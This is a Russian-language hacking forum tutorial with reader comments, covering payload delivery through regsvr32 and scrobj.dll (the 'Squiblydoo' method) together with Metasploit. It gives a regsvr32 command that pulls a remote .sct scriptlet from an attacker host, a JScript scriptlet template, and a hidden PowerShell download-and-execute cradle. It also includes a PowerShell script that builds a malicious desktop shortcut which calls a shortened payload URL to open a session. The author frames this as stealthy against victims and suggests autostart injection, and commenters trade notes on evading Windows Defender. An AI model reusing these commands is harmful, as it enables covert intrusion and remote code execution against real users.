PowerShell для хакера (часть VI) [RegSVR and Backdooring ShortCut]

<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 008
Часть 6
Предыдущая часть
Следующая часть
Все части

Доброго времени суток колеги. Сегодня продолжим c вами применять различные техники доставки полезной нагрузки c применением powershell и встроенной утилиты Windows .

Техника такой доставки полезной нагрузки очень похожа на технику Web Delivery .
Ну сразу же хотелось бы сказать, что данная техника применяется в большинстве случаев для обхода

, но его наличия совсем не обязательно.В конце статьи я попытаюсь продемонстрировать как можно эту технику применять для инжекта в ярлыки. И так ,давайте приступим)

Сперва давайте посмотрим как работает уже готовый експлойт в метаслоте

1.PNG


Как видим из описания - этот експлойт поднимает на стороне атакуещего простенький веб сервер где создается вредоносный .sct файл в котором находится команда для подгрузки вредоносного скрипта на powershell,который так же размещен на этом веб сервере.

Давайте зададим ему необходимые опции и запустим:

2.PNG


Как видим эксплоит выдал нам команду ,которую нужно запустить на стороне жертвы.
Код:
regsvr32 /s /n /u /i:http://192.168.0.107:8080/.sct scrobj.dll
Давайте проверим:

3.PNG


4.PNG


Как видим все очень легко и просто. Давайте посмотрим как это все работает:
Сперва посмотрим на соcданый файл .sct

5.PNG


Как видим это обычный XML файл который обработается библиотекой scrobj.dll ( Script Component Runtime) при скачивании .
Regsvr32 является частью ОС и может использоваться для регистрации или отмены регистрации файлов COM скриптов в реестре Windows
Но если разобрать команду по подробнее:
/s (silent) скрытая запуск, не использовать не каких сообщений на вывод.
/n -- говорит о том что не нужно использовать DllRegisterServer
/u -- отмена регистрации
/i -- отвечает за ссылку и

Наша XML представляет из себя VS или JS скрипт между тегами <registration>

Сам шаблон для выполнения команды выглядит так:

XML:
<?XML version="1.0"?>
<scriptlet>
<registration
    progid="Codeby"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

    <script language="JScript">
        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

        ]]>
</script>
</registration>
</scriptlet>
В этом простом примере запускается просто cmd.exe:
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
А в нашем примере метасплоит создал XML , где вместо cmd.exe запускается команда на павершел от веб деливери.
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]:: DefaultCredentials;IEX $w.downloadstring(' ",0);
Со своим пейлоадом выглядит примерно так:

8.PNG


7.PNG


Думаю , что вполне легко ,по принципу прошлой моей статьи,написать генератор таких XML и закинуть такую XML где то на гитхаб или pastebin.

Какая одна из главных преимуществ этой техники ???

Мне удалось заметить - что при выполнении данной команды,жертва не видит кратковременного мелькания окна командной строки( как при обычном запуске команды для павершел).Следственно если где то прописать эту строчку в автозагрузку или куда то заинжектить - то врят ли жертва что то сможет заметить.)

Давайте я продемонстрирую как лекго можно создать вредоносный ярлык с использованием этой техники.

Сперва создадим полезную нагрузку:

9.PNG


Простенький генератор XML файлов

11.PNG


10.PNG


Закинем где то на гитхаб и проверим работоспособность...

12.PNG


14.PNG


15.PNG


Теперь давайте создадим вредоносный ярлык с помошью PowerShell:
Код:
$file=Get-Content .\payload.txt
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\DarkNode\Desktop\Codeby.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15"
$Shortcut.Arguments = ""+$file
$Shortcut.Save()
payload.txt:
Код:
/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | regsvr32 /s /n /u /i:http://bit.ly/2jM7Pv2 scrobj.dll
16.PNG


Проверяем, запускаем ярлык и получаем сессию:)

17.PNG



Всем спасибо за внимание)

Предыдущая часть
Следующая часть
Все части
 
Последнее редактирование:
aserf

aserf

Member
29.12.2016
11
1
не подскажите в чем проблема, сессия открывается , если просто powershell запустить
А вот через гитхаб, не получается
[doublepost=1488804246,1488786009][/doublepost]
не подскажите в чем проблема, сессия открывается , если просто powershell запустить
А вот через гитхаб, не получается
сам нашел ошибку, невнимательность главный порок=)
 

Вложения

A

admz

Приветствую, спасибо за ваши труды и познавательный материал! Могли бы вы выпустить еще одну часть по повершелу, о том как собирать информацию о лесе. Особенно интересна возможность сканирования версии хостов по смб, по типу сканера в мсф smb_version
 
  • Нравится
Реакции: <~DarkNode~>
M

mazafaka

New member
15.11.2016
1
3
На 10 винде проблема с защитником виндовс, сразу же ругается на команду regsvr32 /s /n /u /i:http: ... scrobj.dll

Ну оно и правильно, методу уже больше года, жаль что так поздно на него наткнулся, но все равно спасибо за статью)

---- Добавлено позже ----

На 10 винде проблема с защитником виндовс, сразу же ругается на команду regsvr32 /s /n /u /i:http: ... scrobj.dll

Ну оно и правильно, методу уже больше года, жаль что так поздно на него наткнулся, но все равно спасибо за статью)
Забавно, но заметил что у меня виндовс дефендр ругается тогда, когда сокращаешь ссылку через bitly.com, но если не сокращать, то все норм, на других не тестил
 
Последнее редактирование:
Pablo Garcia

Pablo Garcia

Member
14.04.2018
20
8
На 10 винде проблема с защитником виндовс, сразу же ругается на команду regsvr32 /s /n /u /i:http: ... scrobj.dll

Ну оно и правильно, методу уже больше года, жаль что так поздно на него наткнулся, но все равно спасибо за статью)

---- Добавлено позже ----


Забавно, но заметил что у меня виндовс дефендр ругается тогда, когда сокращаешь ссылку через bitly.com, но если не сокращать, то все норм, на других не тестил
возможно сам ресурс bitly.com агрит ав
 
Мы в соцсетях: